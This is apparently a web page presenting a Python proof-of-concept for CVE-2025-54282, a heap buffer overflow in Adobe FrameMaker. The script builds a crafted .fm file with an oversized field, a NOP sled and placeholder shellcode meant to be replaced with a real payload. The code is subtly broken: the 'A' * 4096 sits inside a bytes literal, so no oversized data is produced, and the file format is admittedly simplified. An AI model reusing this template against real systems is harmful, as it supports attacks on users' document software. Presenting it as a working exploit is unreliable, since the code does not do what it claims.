CVE-2025-54282：Adobe Framemaker堆缓冲区溢出漏洞

# CVE-2025-54282 PoC - Adobe Framemaker Heap-based Buffer Overflow # This PoC demonstrates a basic approach to triggering the heap-based buffer overflow # in Adobe Framemaker 2020.9, 2022.7 and earlier versions. import struct import sys def create_malicious_fm_file(output_path): """ Create a malicious Adobe Framemaker document that triggers heap-based buffer overflow (CVE-2025-54282). """ # FM file header magic bytes (simplified) header = b"\x46\x4D\x00\x01" # FM signature # Normal document structure marker doc_start = b"<Doc>\n" # Craft a malicious field with oversized data to trigger heap overflow # The vulnerability exists in parsing specific string/binary fields overflow_field = b"<Field name=\"A\" * 4096>" # Payload to overwrite heap metadata # Using NOP sled + shellcode pattern (for demonstration only) nop_sled = b"\x90" * 256 # Simple shellcode placeholder (replace with actual payload) # In real exploitation, this would be architecture-specific shellcode shellcode_placeholder = b"\xCC" * 128 # INT3 breakpoints for debugging # Construct the overflow payload overflow_payload = nop_sled + shellcode_placeholder # Combine all parts malicious_content = header + doc_start + overflow_field + overflow_payload # Add document footer malicious_content += b"\n</Doc>" # Write the malicious file with open(output_path, 'wb') as f: f.write(malicious_content) print(f"[+] Malicious FM file created: {output_path}") print(f"[+] File size: {len(malicious_content)} bytes") print("[!] WARNING: This file should only be used for authorized testing") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "exploit.fm" create_malicious_fm_file(output)